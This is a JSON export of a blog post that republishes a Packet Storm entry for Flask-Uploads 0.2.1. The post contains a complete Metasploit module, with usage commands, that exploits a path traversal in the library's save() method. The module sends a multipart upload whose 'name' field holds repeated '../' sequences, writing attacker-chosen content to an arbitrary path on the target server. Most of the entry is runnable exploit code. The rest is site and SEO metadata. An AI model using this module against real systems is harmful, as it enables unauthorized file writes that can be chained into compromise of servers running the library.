{"id":38894,"date":"2026-02-03T14:37:13","date_gmt":"2026-02-03T14:37:13","guid":{"rendered":"http:\/\/localhost\/?p=38894"},"modified":"2026-02-03T14:37:13","modified_gmt":"2026-02-03T14:37:13","slug":"flask-uploads-021-path-traversal-arbitrary-file-write","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=38894","title":{"rendered":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-03T20:21:00&#8243;,&#8221;description&#8221;:&#8221;Flask-Uploads versions 0.2.1 and below Metasploit module that exploits a path traversal vulnerability to achieve an arbitrary file write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214818&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Flask-Uploads \\u003c= 0.2.1 Path Traversal to Arbitrary File Write                                                               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/maxcountryman\/flask-uploads                                                                              |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/214228\/ \\n    \\n    [+] Summary    :  This Metasploit module exploits a path traversal vulnerability in the Flask-Uploads library versions 0.2.1 and earlier.\\n                      The issue stems from insufficient sanitization of the name parameter used in the save() method of the UploadSet class, \\n    \\t\\t\\t\\t  allowing an attacker to traverse directories and write arbitrary files outside the intended upload directory.\\n                      The module is designed strictly to demonstrate arbitrary file write capability and does not assume or attempt remote code execution. \\n    \\t\\t\\t\\t  File execution depends entirely on application logic, server configuration, and file placement, which are intentionally left out of scope.\\n                      Successful exploitation may result in unauthorized file creation on the target filesystem, \\n    \\t\\t\\t\\t  potentially enabling further attacks when chained with additional vulnerabilities.\\n    \\n    [+] Usage : \\n    \\n    use exploit\/multi\/http\/flask_uploads_traversal\\n    set RHOSTS \\u003cTARGET_IP\\u003e\\n    set RPORT \\u003cTARGET_PORT\\u003e\\n    set TARGETURI \/upload\\n    exploit\\n    \\n    [+] POC :\\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n    \\n      Rank = AverageRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217;           =\\u003e &#8216;Flask-Uploads \\u003c= 0.2.1 Path Traversal Arbitrary File Write&#8217;,\\n            &#8216;Description&#8217;    =\\u003e %q{\\n              This module exploits a path traversal vulnerability in the Flask-Uploads \\n              library (version 0.2.1 and prior). The vulnerability allows for arbitrary \\n              file writes outside of the intended upload directory by manipulating the \\n              &#8216;name&#8217; parameter passed to the save() function. This module focuses on \\n              the file write primitive.\\n            },\\n            &#8216;Author&#8217;         =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;License&#8217;        =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217;     =\\u003e [\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/maxcountryman\/flask-uploads\/issues\/43&#8217;]\\n            ],\\n            &#8216;Privileged&#8217;     =\\u003e false,\\n            &#8216;Platform&#8217;       =\\u003e %w[linux win unix],\\n            &#8216;Arch&#8217;           =\\u003e ARCH_ALL,\\n            &#8216;Targets&#8217;        =\\u003e [[&#8216;Generic Arbitrary File Write&#8217;, {}]],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2024-10-25&#8217;,\\n            &#8216;Notes&#8217;          =\\u003e {\\n              &#8216;Stability&#8217;   =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [], # No session guaranteed\\n              &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The vulnerable endpoint URL&#8217;, &#8216;\/upload&#8217;]),\\n          OptString.new(&#8216;FIELD_NAME&#8217;, [true, &#8216;The multipart field name for the file upload&#8217;, &#8216;files&#8217;]),\\n          OptString.new(&#8216;TRAVERSAL_DEPTH&#8217;, [true, &#8216;Depth of path traversal to reach root&#8217;, &#8217;10&#8217;]),\\n          OptString.new(&#8216;REMOTE_PATH&#8217;, [true, &#8216;The target path on the remote system&#8217;, &#8216;\/tmp\/pwned.txt&#8217;]),\\n          OptString.new(&#8216;FILE_CONTENT&#8217;, [true, &#8216;Content to write to the remote file&#8217;, &#8216;Vulnerability Confirmed&#8217;])\\n        ])\\n      end\\n    \\n      def check\\n    \\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217;    =\\u003e normalize_uri(target_uri.path)\\n        })\\n        return CheckCode::Unknown(&#8216;No response from the target.&#8217;) unless res\\n        \\n        if res.code == 200\\n          return CheckCode::Detected(\\&#8221;Endpoint #{target_uri.path} is reachable.\\&#8221;)\\n        end\\n    \\n        CheckCode::Safe\\n      end\\n    \\n      def exploit\\n    \\n        traversal = \\&#8221;..\/\\&#8221; * datastore[&#8216;TRAVERSAL_DEPTH&#8217;].to_i\\n        remote_filename = datastore[&#8216;REMOTE_PATH&#8217;].sub(%r{^\/}, &#8221;)\\n        malicious_name = \\&#8221;#{traversal}#{remote_filename}\\&#8221;\\n    \\n        data = Rex::MIME::Message.new\\n    \\n        data.add_part(\\n          datastore[&#8216;FILE_CONTENT&#8217;], \\n          &#8216;text\/plain&#8217;, \\n          nil, \\n          \\&#8221;form-data; name=\\\\\\&#8221;#{datastore[&#8216;FIELD_NAME&#8217;]}\\\\\\&#8221;; filename=\\\\\\&#8221;test.txt\\\\\\&#8221;\\&#8221;\\n        )\\n    \\n        data.add_part(malicious_name, nil, nil, \\&#8221;form-data; name=\\\\\\&#8221;name\\\\\\&#8221;\\&#8221;)\\n    \\n        print_status(\\&#8221;Attempting to write #{datastore[&#8216;FILE_CONTENT&#8217;].length} bytes to #{datastore[&#8216;REMOTE_PATH&#8217;]}&#8230;\\&#8221;)\\n    \\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;    =\\u003e normalize_uri(target_uri.path),\\n          &#8216;ctype&#8217;  =\\u003e \\&#8221;multipart\/form-data; boundary=#{data.bound}\\&#8221;,\\n          &#8216;data&#8217;   =\\u003e data.to_s\\n        })\\n    \\n        if res \\u0026\\u0026 res.code == 200\\n          print_good(\\&#8221;Server responded with 200 OK. Verification required at: #{datastore[&#8216;REMOTE_PATH&#8217;]}\\&#8221;)\\n        else\\n          status = res ? res.code : &#8216;no response&#8217;\\n          fail_with(Failure::UnexpectedReply, \\&#8221;Server responded with #{status}. Exploitation failed.\\&#8221;)\\n        end\\n      end\\n    end\\n    \\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214818&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214818\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-03T20:21:00&#8243;,&#8221;description&#8221;:&#8221;Flask-Uploads versions 0.2.1 and below Metasploit module that exploits a path traversal vulnerability to achieve an arbitrary file write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-38894","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=38894\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-03T20:21:00&#8243;,&#8221;description&#8221;:&#8221;Flask-Uploads versions 0.2.1 and below Metasploit module that exploits a path traversal vulnerability to achieve an arbitrary file write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=38894\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-03T14:37:13+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \\\/ Arbitrary File Write_PACKETSTORM:214818\",\"datePublished\":\"2026-02-03T14:37:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894\"},\"wordCount\":856,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38894#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894\",\"name\":\"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \\\/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-03T14:37:13+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38894\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38894#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \\\/ Arbitrary File Write_PACKETSTORM:214818\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=38894","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-03T20:21:00&#8243;,&#8221;description&#8221;:&#8221;Flask-Uploads versions 0.2.1 and below Metasploit module that exploits a path traversal vulnerability to achieve an arbitrary file write&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-03T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary...","og_url":"https:\/\/zero.redgem.net\/?p=38894","og_site_name":"zero redgem","article_published_time":"2026-02-03T14:37:13+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=38894#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=38894"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818","datePublished":"2026-02-03T14:37:13+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=38894"},"wordCount":856,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=38894#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=38894","url":"https:\/\/zero.redgem.net\/?p=38894","name":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-03T14:37:13+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=38894#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=38894"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=38894#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Flask-Uploads 0.2.1 Path Traversal \/ Arbitrary File Write_PACKETSTORM:214818"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=38894"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38894\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=38894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=38894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=38894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}